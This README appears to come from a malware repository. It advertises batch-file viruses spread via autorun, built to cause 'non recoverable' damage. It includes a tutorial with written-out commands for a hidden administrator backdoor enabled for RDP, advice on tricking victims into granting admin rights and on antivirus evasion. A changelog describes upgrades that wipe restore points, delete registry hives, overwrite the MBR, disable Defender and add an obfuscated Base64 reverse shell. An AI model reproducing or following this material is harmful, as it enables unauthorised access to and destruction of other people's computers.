Scroll down untill you reach the end of the Original README.MD Marked with END

Malware

This is my first controbution! And because I want to give something meaningful as well as just mess around, this repo is a collection of fun little viruses that pack a mean punch.

If you know anything about hacking you will know that batch files are commonly the scum of the hacking world, most tutorials will show you how to make "viruses" that are nothing more than pranks and gain the creator nothing more than a laugh, which is OK, but if you really want something to cause some actual lasting damage those pranks will be no help.

So here are a couple of actual batch file viruses included in this repo:

1. Disablenet.bat
2. Shutdowns.bat
3. crashespc.bat
4. system_meltdown.bat

Please Note that the above mentioned viruses make use of the autorun.inf file to exploit the autorun feature and can easily infect a windows machine and their effect can be devistating. Each .bat file can potencially destroy a PC if it's run individually. I have set them all to autorun, ensuring a non recoverable end result.

Additionally!!

For an additional virus that is unlinked and unaffiliated with the .bat set please see the file named:
Complete_viruscode_Pascal: 

---

Here Is a Short Tutorial! Let's try to make an actual batch file virus to gain full access to another computer. NOTE: The user is going to have to be tricked into opening a file that requires admin access.

The first step is to open notepad and type in:

@echo offnet user winsystem winsystem /addnet localgroup administrators winsystem /add powershell set-executionpolicy 

unrestrictedpowershell $path = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' 

powershell New-Item $path -Force | New-ItemProperty -Name winsystem -Value 0 -PropertyType DWord -Force reg add 

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

msg <insert your IP here> Its ready.

How it Works

The first line creates a new user called winsystem with the password winsystem The second line adds the new user as an admin. The third line allows PowerShell scripts to run. The fourth and fifth lines hide the user from the Log in screen. The sixth line allows RDP (Remote Desktop Protocol) The seventh line sends the IP address that is imputed the message "Its ready." Last step: Download https://www.computerhope.com/download/utility/Bat_To_Exe_Converter.zip then convert the batch file and remember to tick the box that says Add Administrator Manifest.

REMEMBER: When the box opens DO NOT CLOSE IT! Copy down the computer name, open cmd, and type: ping .

Thats all! As soon as you get the IP, Copy it and input it into RDP and log in as winsystem.

NOTE: Replace the items in < > as the items specified (duh).

This may be detected by antivirus, but if you join the regular .bat file with a different file a Trojan can be made with low detection rates.

Remember that all responsibilities are at your own risk. Please use it only for research purposes. Do not download this!

Be careful not to infect yourself when accessing and experimenting with malicious software!

---

END

So here's what I've changed:

1. Disablenet.bat

---

2. Shutdowns.bat

---

The original script:

1. Creates a .bat file that triggers a reboot.
2. Registers it to run at startup.
3. Displays a message.

• Note : It’s annoying, but trivially recoverable.

So what does it do now?

1. Disables Recovery Mode: *bcdedit /set recoveryenabled no
2. Ignores Boot Failures: No auto-boot to repair
3. Deletes Safe Mode Boot Options: Removes fallback modes
4. Wipes Restore Points / Shadow Copies
5. Deletes Critical Registry Hives (SYSTEM & SOFTWARE): Completely nukes the boot config on reboot
6. Deletes hosts file to potentially break AV/updates/etc
7. Forces shutdown

You may want to chain-delay destructive commands so the script finishes setting up before nuking: Run with: timeout /t 5

⚠️ Important

This will almost certainly render the system unbootable after next restart — if those reg hives are deleted before being locked by Windows.

• On Windows 11, access to System32\config\SYSTEM might require elevated privileges, and might be protected by Windows Resource Protection (WRP).

3. crashespc.bat

---

What it does:

1. Initial Sabotage

• Kill-GUI:
  • Stops critical processes like explorer, taskmgr (Task Manager), regedit (Registry Editor), and msconfig.
• Disable-Networking:
  • Executes ipconfig /release and ipconfig /flushdns to disable networking.
• Disable-Defender:
  • Attempts to disable Windows Defender.
• Delete-SystemTools: Deletes essential system tools in the System32 directory (e.g., .msc files like Computer Management).
• Wipe-UserDocs:
  • Renames user documents (e.g., .docx, .xlsx, .pdf, .jpg) by appending .owned to their filenames.

2. Persistence & Boot Traps

• Setup-RebootTrap:
  • Creates a batch file (Boot_Loop.bat) that repeatedly reboots the system and registers it in the Windows Startup Registry.
  • Adds a fake blue screen message (bootmessage.vbs) that displays "50RC3" during boot.

3. Reboot Counting & MBR Destruction

• Update-RebootCount:
  • Tracks the number of reboots in a temporary file. If the system reboots 3 times, it triggers MBR destruction.
• Kill-MBR:
  • Attempts to overwrite the Master Boot Record (MBR) with zero bytes, potentially making the system unbootable.

4. Backdoor Reverse Shell

• Configures a reverse shell connection to a specified IP address and port using Base64-encoded payloads.

5. Execution Flow

• Executes all the above steps sequentially, ending with a forced system shutdown.

launch_crashespc.bat Overview

• This is a batch loader for the crashespc.ps1 script that:

  1. Executes crashespc.ps1 stealthily using PowerShell with the -NoP -NonI -W Hidden -File flags.
  2. Ensures that the script runs with minimal visibility to the user.

Python Script for Generating the Obfuscated Loader

• Encodes the PowerShell script (crashespc.ps1) into a Base64 string.
• Creates a .bat file (launch_crashespc.bat) to execute the Base64-encoded script.
• Uses obfuscation techniques like randomized function names and aliasing to make the script harder to analyze.

See the README.md in the crashespc directory for full information.

4. system_meltdown.bat

---

• Refactored using accurate file paths with backslashes (C:\Windows\hartlell.bat).
• Added comments to describe each section, making it easier to understand the script's intent.
• Used proper spacing and syntax for commands like shutdown and reg add, ensuring compatibility.
• Implimented proper indentation and consistent use of uppercase and lowercase.

What it does:

1. Infinite Net Send Loop:

   • Repeatedly sends broadcast messages (net send * "WORKGROUP ENABLED") to overwhelm users on the network.

2. Disable Network Connectivity:

   • Executes ipconfig /release to disconnect the system from the network by releasing its IP address.

3. Force Immediate System Reboot:

   • Executes shutdown -r -f -t 0 to forcefully reboot the system immediately.

4. Create a Persistent Reboot Script:

   • Generates a batch script (hartlell.bat) that forces the system to reboot repeatedly (shutdown -r -t 11 -f) and registers it in the Windows startup registry keys (HKLM and HKCU).

5. Create a Fake Hacked Script:

   • Creates another malicious batch script (wimn32.bat) that releases network configurations (ipconfig / release_all) and registers it in the Windows startup registry.

6. Display Intimidation Message:

   • Prints "YOU HAVE BEEN HACKED BITCH" to the console because why not.

7. Simulate File Tampering:

   • Renames files with specific extensions (e.g., .DOC, .JPEG, .COM, .BAT) to .TXT, simulating data corruption or tampering.

8. Pause for Observation:

   • Includes pause commands to hold the console window open for manual observation.